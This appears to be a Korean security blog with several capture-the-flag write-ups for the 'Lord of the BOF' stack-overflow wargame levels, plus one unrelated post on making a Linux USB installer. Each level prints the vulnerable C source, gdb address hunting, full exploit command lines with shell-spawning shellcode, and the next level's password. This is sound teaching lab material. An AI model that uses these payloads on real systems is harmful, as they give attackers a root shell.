2011. 6. 7. 03:09

⊙ 문제의 소스를 보자)

[vampire@localhost vampire]$ cat skeleton.c

/*

The Lord of the BOF : The Fellowship of the BOF

- skeleton

- argv hunter

*/

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

// argc saver

saved_argc = argc;

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// ultra argv hunter!

for(i=0; i<saved_argc; i++)

memset(argv[i], 0, strlen(argv[i]));

}


1) 환경변수(Environment) 초기화.
2) if문을 통해 argv[1][47] != "\xbf" 체크.
3) argv[1] 길이가 48이하
4) buffer 초기화.
5) Argument 배열 전부 초기화.


 

   

※ Argument 배열이 전부 초기화 되었지만 스택 끝에 프로그램 이름 주소가 남아있다.

   

♧ 이유는 모르겠지만 LEVEL8에 "\x2f"이 없는 쉘코드가 제대로 동작하지 않아

[Return-to-lib 기법을 이용한 쉘코드 생성]을 참조하여 쉘코드를 다시 만들었다.
(이 시스템에서만 사용가능:: 총 17Byte :: exit()를 빼면 12Byte 가능)

.global main

main: 
       push $0x400fbff9          ;# "bin/sh"

       push $0x400391e0        ;# exit

       movl $0x40058ae0, %eax ;# system

       push %eax

       ret


"\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"


 

   

∑ 익스플로잇 작성!

① 사본 생성

# cp skeleton $(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3")

② GDB로 RET 주소 찾기.

찾은 RET 주소 :: [ 0xbfffffea ]

③ 사본 삭제후 원본 심볼릭 링크

④ 최종 익스플로잇 작성

./$(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3") $(python -c 'print "\xea\xff\xff\xbf"*12')

⑤ ∑xploit

성공!!!


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

vampire : "music world"

Posted by devanix
2011. 6. 5. 03:22

⊙ 문제의 소스를 보자)

[troll@localhost troll]$ cat vampire.c

/*

The Lord of the BOF : The Fellowship of the BOF

- vampire

- check 0xbfff

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// here is changed!

if(argv[1][46] == '\xff')

{

printf("but it's not forever\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


1) if문을 통해 argv[1][47] != "\xbf" 체크.
2) if문을 통해 argv[1][46] == "\xff" 체크.

   

♧ 스택 주소공간은 "0xbfff~"로 하향 성장 한다. [ 참조 ]

♧ argv[1][46]에 "\xff"가 되지 않도록 하기 위해서 실행 인자를 통해 길이를 늘려 조작한다.

※ 단, 길이를 조작 할 때 너무 큰 값을 주면 "Argument list too long" 에러 메시지가 출력된다.


   

∑ 익스 플로잇 작성!

※ 여기선 NOP썰매를 사용 할 필요는 없지만 GDB로 RET주소를 확인 할 경우 오차를 줄이기 위해 사용.

argv[1]

argv[2]

argv[3]

[RET] * 12

[NOP*50]+[쉘코드]

[주소 길이 조정]


① 사본을 만들어 마지막 행에 argv[2]의 주소값 출력문을 삽입.

[troll@localhost troll]$ sed '/buffer);/a\
printf("_____ argv[2] :: [ %#x ] _____\\n", argv[2]);' vampire.c > eripmav.c

② 컴파일후 임의의 값으로 실행.

[troll@localhost troll]$ gcc eripmav.c -o eripmav
[troll@localhost troll]$ ./eripmav $(python -c 'print "\xbf"*48') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ argv[2] :: [ 0xbffec3b2 ] _____

Segmentation fault (core dumped)

③ RET주소 변경.

./vampire $(python -c 'print "\xb2\xc3\xfe\xbf"*12') $(python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "AAAA"*20000')

④ ∑xploit

완료!!!


   

   

♣ 기타 사항

ⓐ GDB로 RET 주소 확인 & ∑xploit

ⓑ GDB로 확인한 argv[2] 주소값 :: [ 0xbfffec3b4 ]

ⓒ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 2 ] = [ 0xbfffec3b4 ] - [ 0xbfffec3b2 ]


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

troll : "aspirin"

Posted by devanix
2011. 6. 4. 15:13

⊙ 문제의 소스를 보자)

[orge@localhost orge]$ cat troll.c

/*

The Lord of the BOF : The Fellowship of the BOF

- troll

- check argc + argv hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

   

// one more!

memset(argv[1], 0, strlen(argv[1]));

}


1) 인자의 개수는 2여야 함.

2) 환경변수(Environment) 초기화.

3) argv[1][47] == "\xbf"

4) argv[1]의 길이는 48보다 크면 안됨.

5) 버퍼초기화.

6) argv[1] 초기화.


   

♧ 인자의 개수가 2개를 만족해야 함으로 argv[0]과 argv[1]만이 사용가능.

♧ argv[1] 마저도 초기화 됨으로 결국

심볼릭링크(Symbolic link)를 이용하여 파일이름을 쉘코드로 변조하여 문제를 풀어야 한다.

※ 단, 쉘코드에 "\x2f"(/) 들어가면 "cannot create symbolic link" 라는 문구가 보일 것 이다.


   

(그래서 이전에 사용하던 쉘코드는 던져 버리고 "\x2f"가 없는 쉘코드로 대체해야 한다.)

▦ "\x2f"가 없는 쉘코드 ▦

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


 

   

∑ 익스 플로잇 작성!

① 사본을 만들어 마지막 행에 argv[0]의 주소값 출력문을 삽입.

[orge@localhost orge]$ sed '/argv\[1\]));/a\
printf("_____ [ %#x ] _____\\n", argv[0]);' troll.c > llort.c

② 컴파일후 임의의 값으로 실행.

[orge@localhost orge]$ gcc llort.c -o $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xbf"*48')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

_____ [ 0xbffffbcf ] _____

Segmentation fault (core dumped)

③ 사본 삭제후 원본에 심볼릭 링크.

[orge@localhost orge]$ rm $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

[orge@localhost orge]$ ln -s troll $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")

④ 확인한 argv[0]값으로 RET 변경 후 익스플로잇 작성

./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "\xcf\xfb\xff\xbf"*12')

⑤ 익스플로잇!


   

   

♣ 기타 사항

ⓐ GDB로 확인한 argv[0] 주소값 :: [ 0xbffffbee ]
ⓑ GDB로 확인한 argv[0] 주소값에 이름길이("/home/orge/./")를 더한값 :: [ 0xbffffbfb ]
ⓑ 실제 주소와 GDB로 확인한 주소값 차이 :: [ 44 ] = [ 0xbffffbfb ] -
[ 0xbffffbcf ]

※ 왜 44Byte의 차이가 나는지는 정확히 모름.

("이름길이나 buffer ~ RET 주소 전까지의 오프셋 길이의 차이가 아닐까?" 라고 혼자만의 추정중..-_;)


   

※ 사전에 chsh명령 -> bash2로 사전 변경후 재로그인 함.

   

orge : "timewalker"

Posted by devanix
2011. 6. 2. 16:27

⊙ 문제의 소스를 보자)

[darkelf@localhost darkelf]$ cat orge.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orge

- check argv[0]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// here is changed!

if(strlen(argv[0]) != 77){

printf("argv[0] error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ argv[0]의 길이를 77자로 맞추는 if문이 추가 되었습니다.

   

* 이름 길이를 77자로 맞추는 것을 외에는 틀려진 점이 없습니다.

1) 이름길이를 77자로 맞추는법.

① "./" 은 현재디렉토리를 의미하며 ".////" 이처럼 추가로 많이 와도 상관없습니다.

   

② 심볼릭 링크를 이용 (하드링크도 상관 없음) ("./"를 제외한 75자.)

# ln orge -s $(python -c 'print "a"*75"')


   

※ 그럼 이전과 같이 바로 확인 들어가 보도록 하죠.

$(python -c 'print "."+"/"*72 + "orge"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xb7\xfb\xff\xbf"')

성공!!!


 

   

darkelf : "kernel crashed"

   

Posted by devanix
2011. 6. 2. 15:35

⊙ 문제의 소스를 보자)

[wolfman@localhost wolfman]$ cat darkelf.c

/*

The Lord of the BOF : The Fellowship of the BOF

- darkelf

- egghunter + buffer hunter + check length of argv[1]

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [ LEVEL5 ] 에서 틀려진 점은 argv[1]의 길이를 체크 하네요.
그런데 어차피 LEVEL5에서 공격문의 길이가 48([셸코드(24)]+[NOP(20)]+[RET(4)])임으로 틀려 질건 전혀 없네요.
그럼으로 strlen(argv[1]) 구문은 전혀 신경 쓸 필요가 없습니다.


 

   

※ [ LEVEL5 ] 와 똑같음으로 바로 확인해 보도록 하죠

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x3f\xfc\xff\xbf"')

성공!!


   

wolfman : "love eyuna"

Posted by devanix
2011. 6. 2. 15:01

⊙ 문제의 소스를 보자)

[orc@localhost orc]$ cat wolfman.c

/*

The Lord of the BOF : The Fellowship of the BOF

- wolfman

- egghunter + buffer hunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer hunter

memset(buffer, 0, 40);

}


+ [LEVEL4]와 틀려진 곳은 맨 마지막 줄에 memset(buffer, 0, 40)으로 buffer를 40Byte 초기화
하고 있습니다.
즉, 리턴 주소를 버퍼가 아닌 Argument 인자(argv[1])로만 바꿔주면 됩니다.
그래서 공격문엔 변화가 없으며 다만 LEVEL4에선 buffer를 리턴값으로 주었다면 이번 문제 에선
argv[1]이 가리키는 문자열 주소로 리턴값만 바꾸면 됩니다.


   

1) 셸코드는 어디에?

* 우리가 흔히 공격문으로 인자값을 넘겨 줄때 인자 배열 안에 들어가게 됩니다. [ 참조 ]

Environment

  

Arguments

argv (프로그램 실행 인자)

argc (인자의 개수)

RET

우리가 실행 인자로 셸코드를 올린 해당 argv[1] 가리키는 주소

SFP

쓰레기값

buffer[40]

memset(buffer, 0, 40)으로 초기화

...[중략]...

  

*그러므로 memset()으로 buffer가 초기화 되더라도 실행 인자로 넘겨준 공격문은 스택안에 남아 있게 됩니다.


  

   

* 그럼 argv[1]에 들어있는 문자열의 주소(공격문)을 찾아야 겠네요.

2) 리턴 주소 값을 찾아 보자!

※ [ LEVEL 4 ]에서 공격문을 그대로 가져다가 테스트 하였습니다.

① wolfman.c 사본을 만들어 주소값을 확인해 봅시다.

# cp wolfman.c wolfgil.c

# vi wolfgil.c

...[중략]...

// buffer hunter

memset(buffer, 0, 40);

printf(" [ %#x ]\n", argv[1]); // <-- 삽입

:wq

# gcc wolfgil.c -o wolfgil

[orc@localhost orc]$ ./wolfgil $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')
1픐h//shh/bin됥PS됣솻

?릱릱릱릱릱릱릱릱릱릱?

[ 0xbffffc46 ]

Segmentation faultz

* argv[1]에 들어있는 공격문 주소가 보이네요. [ 0xbffffc46 ]

   

② 리턴 주소를 찾았으니 변경 후 다시 확인.

셸코드가 잘 실행 되었네요.


   

   

3) 원본 공격 확인.

*바뀐 공격문

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\x46\xfc\xff\xbf"')

완료!!!


   

orc : "cantata"

Posted by devanix
2011. 6. 2. 04:29

http://www.pendrivelinux.com
 다양한 리눅스 배포판을 USB 설치할 있도록 설치법과 파일을 다운로드 받을 있다.

 

♧ 리눅스 배포판 USB 설치하기 위한 준비물

ISO 리눅스 배포판이 필요하다.
(
없다면 걱정하지 말자 UUI 저절로 다운까지 받아준다.)
넉넉한 USB Flash Drive(FAT32 포맷)
Universal USB Installer(UUI) Easy as 1 2 3

 


 

 

 

1) 라이센스 동의후 아래와 같은 기본 화면이 뜬다.

 

2) 설치하고자 하는 다양한 리눅스 배포판을 선택하자.

*만약 배포판이 준비가 안되어 있다면?

아래와 같이 체크 한뒤 [(Y)] 누르면 알아서 다운받아 준다.

 

3) [Browse]클릭하여 다운받은 ISO 선택.

 

4) 해당 USB 선택 (FAT32 Format 체크 선택)

 

5) 영구적으로 쓰기/저장 있는 공간을 설정한다.

 

6) 전체적인 설정이 완료되었으면 [ Create ] 버튼을 클릭!

 

7) 커피한잔 마시면서 기다리면 완료!


Posted by devanix
2011. 6. 2. 02:36

⊙ 문제의 소스를 보자)

[goblin@localhost goblin]$ cat orc.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orc

- egghunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다.

즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다.

+ if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다.

그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요.

+ 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다.

해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이

BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요.


   

   

1) GDB로 RET 주소를 구해보자.

① 먼저 권한이 없으므로 해당 사본을 만듭니다.

# cp orc cro

   

② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다.

(공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)

[ Buffer(40Byte) ] + [ EBP(4Byte) ]

[ RET (4Byte) ]

[ "DDDDDDDDDDDDD................" ]

["\xbf\xbf\xbf\xbf"]

$(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

   

③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.

[goblin@localhost goblin]$ gdb -q cro

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x80485b0 <main+176>: mov 0xc(%ebp),%eax

0x80485b3 <main+179>: add $0x4,%eax

0x80485b6 <main+182>: mov (%eax),%edx

0x80485b8 <main+184>: push %edx

0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push %eax

0x80485bd <main+189>: call 0x8048440 <strcpy>

0x80485c2 <main+194>: add $0x8,%esp

0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax

0x80485c8 <main+200>: push %eax

0x80485c9 <main+201>: push $0x8048659

0x80485ce <main+206>: call 0x8048410 <printf>

0x80485d3 <main+211>: add $0x8,%esp

0x80485d6 <main+214>: leave

   

* break point는 buffer가 복사되는 지점인 <strcpy>이후(<main+197>)로 합니다.

(gdb) break *main+197

Breakpoint 1 at 0x80485c5

   

* 이제 ② 에서 만들었던 테스트 문을 이용해 실행 합니다.

(gdb) run $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Starting program: /home/goblin/cro $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Breakpoint 1, 0x80485c5 in main ()

   

* 현재 스택 내용물을 보도록 하겠습니다.

(gdb) x/20xw $esp

0xbffffacc: 0x00000015 0x44444444 0x44444444 0x44444444

0xbffffadc: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffaec: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffafc: 0xbfbfbfbf 0x00000000 0xbffffb44 0xbffffb50

0xbffffb0c: 0x40013868 0x00000002 0x08048450 0x00000000

(gdb) info reg ebp

ebp 0xbffffaf8 -1073743112

+ [EBP]0xbffffaf8에 -> 0xbfbfbfbf 가 들어있는 것을 볼 수 있습니다.

+ BUFFER 의 주소는 EBP-40이 됨으로 [ 0xbffffad0 ] (0x44444444가 시작 되는 곳)가 됩니다.

  


   

   

*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.

2) 공격문 작성.

테스트 문을 공격 문으로 바꾸자!

  

[ Buffer(40Byte) ] + [ EBP(4Byte) ] = 44Byte

[ RET (4Byte) ]

변경전

[ "DDDDDDDDDDDDD................" ]

[ "\xbf\xbf\xbf\xbf" ]

변경후

[ 셸코드(24Byte) ] + [ NOP*20 ]

[ "\xd0\xfa\xff\xbf" ]

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xd0\xfa\xff\xbf"')

   

② 이제 바뀐 공격 문으로 확인해 보자!.

허... 어찌된 일일까요..

GDB로 RET 주소(0xbffffad0)를 두 눈으로 확인했는데 Segmentation fault가 뜨네요.

* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에

동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.

  


   

   

[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이!

① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.

# cp orc.c cro.c
# vi cro.c

main(int argc, char *argv[]) {

...[중략]...

strcpy(buffer, argv[1]);

printf("[ %#x ]\n", buffer); // <---- 추가 (해당 위치의 buffer 주소값 확인.)

printf("%s\n", buffer);

}

:wq (저장후 종료)

   

② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.

# gcc cro.c -o cro

실행해 보면 [ 0xbffffae0 ]이란 주소가 보입니다.

   

③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..

./cro $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

네.. 이제 제대로 공격이 되었네요.

*하지만 사본(cro)이니 이따 다시 원본(cro) 바이너리 파일로 공격해 봅시다.

   

④ 결과.

프로세스 구동 중 확인한 buffer 주소 :

[ 0xbffffae0 ]

GDB로 확인한 buffer 주소 :

[ 0xbffffad0 ]

두 주소값의 차이

[ +-16 ]

  


   

3) 원본(orc) 공격 확인.

./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

성공!!!


goblin : "hackers proof"

Posted by devanix